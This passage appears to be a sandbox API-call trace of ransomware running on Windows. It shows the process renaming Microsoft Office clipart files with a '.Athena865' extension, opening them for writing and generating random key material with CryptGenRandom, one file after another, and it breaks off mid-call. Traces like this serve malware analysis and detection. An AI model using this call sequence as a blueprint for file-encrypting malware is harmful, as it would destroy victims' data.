param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.Athena865") returned 73 [0133.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.238] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8456) returned 1 [0133.238] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.239] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.239] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.242] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.242] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.243] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.243] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03453_.WMF" | out: lpString1="PE03453_.WMF") returned="PE03453_.WMF" [0133.243] lstrlenW (lpString="PE03453_.WMF") returned 12 [0133.243] lstrlenW (lpString="Athena865") returned 9 [0133.243] lstrcmpiW (lpString1="3453_.WMF", lpString2="Athena865") returned -1 [0133.243] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.Athena865") returned 73 [0133.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.245] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7972) returned 1 [0133.245] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.245] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.245] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.247] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.248] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.248] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.249] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03459_.WMF" | out: lpString1="PE03459_.WMF") returned="PE03459_.WMF" [0133.249] lstrlenW (lpString="PE03459_.WMF") returned 12 [0133.249] lstrlenW (lpString="Athena865") returned 9 [0133.249] lstrcmpiW (lpString1="3459_.WMF", lpString2="Athena865") returned -1 [0133.249] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.Athena865") returned 73 [0133.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.251] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8568) returned 1 [0133.252] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.252] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.252] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.254] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.255] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.255] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.256] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03464_.WMF" | out: lpString1="PE03464_.WMF") returned="PE03464_.WMF" [0133.256] lstrlenW (lpString="PE03464_.WMF") returned 12 [0133.256] lstrlenW (lpString="Athena865") returned 9 [0133.256] lstrcmpiW (lpString1="3464_.WMF", lpString2="Athena865") returned -1 [0133.256] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.Athena865") returned 73 [0133.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.257] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5732) returned 1 [0133.257] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.258] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.258] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.260] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.261] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.261] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.261] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03466_.WMF" | out: lpString1="PE03466_.WMF") returned="PE03466_.WMF" [0133.261] lstrlenW (lpString="PE03466_.WMF") returned 12 [0133.261] lstrlenW (lpString="Athena865") returned 9 [0133.261] lstrcmpiW (lpString1="3466_.WMF", lpString2="Athena865") returned -1 [0133.261] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.Athena865") returned 73 [0133.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.263] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16800) returned 1 [0133.263] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.263] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.263] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.266] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.266] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.266] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.267] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03470_.WMF" | out: lpString1="PE03470_.WMF") returned="PE03470_.WMF" [0133.267] lstrlenW (lpString="PE03470_.WMF") returned 12 [0133.267] lstrlenW (lpString="Athena865") returned 9 [0133.267] lstrcmpiW (lpString1="3470_.WMF", lpString2="Athena865") returned -1 [0133.267] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.Athena865") returned 73 [0133.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.269] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14744) returned 1 [0133.269] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.269] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.269] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.272] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.273] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.273] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.273] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03513_.WMF" | out: lpString1="PE03513_.WMF") returned="PE03513_.WMF" [0133.273] lstrlenW (lpString="PE03513_.WMF") returned 12 [0133.273] lstrlenW (lpString="Athena865") returned 9 [0133.273] lstrcmpiW (lpString1="3513_.WMF", lpString2="Athena865") returned -1 [0133.273] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.Athena865") returned 73 [0133.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.275] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3780) returned 1 [0133.275] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.276] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.276] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.278] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.279] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.279] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.279] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03668_.WMF" | out: lpString1="PE03668_.WMF") returned="PE03668_.WMF" [0133.279] lstrlenW (lpString="PE03668_.WMF") returned 12 [0133.279] lstrlenW (lpString="Athena865") returned 9 [0133.279] lstrcmpiW (lpString1="3668_.WMF", lpString2="Athena865") returned -1 [0133.279] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.Athena865") returned 73 [0133.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.281] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6248) returned 1 [0133.281] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.282] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.282] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.287] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.287] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.287] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03731_.WMF" | out: lpString1="PE03731_.WMF") returned="PE03731_.WMF" [0133.287] lstrlenW (lpString="PE03731_.WMF") returned 12 [0133.287] lstrlenW (lpString="Athena865") returned 9 [0133.287] lstrcmpiW (lpString1="3731_.WMF", lpString2="Athena865") returned -1 [0133.287] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.Athena865") returned 73 [0133.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.289] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2556) returned 1 [0133.289] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.289] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.289] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.291] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.292] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.292] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.292] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE03795_.WMF" | out: lpString1="PE03795_.WMF") returned="PE03795_.WMF" [0133.292] lstrlenW (lpString="PE03795_.WMF") returned 12 [0133.293] lstrlenW (lpString="Athena865") returned 9 [0133.293] lstrcmpiW (lpString1="3795_.WMF", lpString2="Athena865") returned -1 [0133.293] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.Athena865") returned 73 [0133.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.294] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1930) returned 1 [0133.294] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.295] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.295] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.297] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.297] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.298] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE04050_.WMF" | out: lpString1="PE04050_.WMF") returned="PE04050_.WMF" [0133.298] lstrlenW (lpString="PE04050_.WMF") returned 12 [0133.298] lstrlenW (lpString="Athena865") returned 9 [0133.298] lstrcmpiW (lpString1="4050_.WMF", lpString2="Athena865") returned -1 [0133.298] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.Athena865") returned 73 [0133.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.299] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4128) returned 1 [0133.300] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.300] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.300] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.302] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.303] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.303] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.304] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE05665_.WMF" | out: lpString1="PE05665_.WMF") returned="PE05665_.WMF" [0133.304] lstrlenW (lpString="PE05665_.WMF") returned 12 [0133.304] lstrlenW (lpString="Athena865") returned 9 [0133.304] lstrcmpiW (lpString1="5665_.WMF", lpString2="Athena865") returned -1 [0133.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.Athena865") returned 73 [0133.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14328) returned 1 [0133.305] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.306] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.306] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.308] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.309] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.309] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.310] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE05710_.WMF" | out: lpString1="PE05710_.WMF") returned="PE05710_.WMF" [0133.310] lstrlenW (lpString="PE05710_.WMF") returned 12 [0133.310] lstrlenW (lpString="Athena865") returned 9 [0133.310] lstrcmpiW (lpString1="5710_.WMF", lpString2="Athena865") returned -1 [0133.310] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.Athena865") returned 73 [0133.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.athena865"), 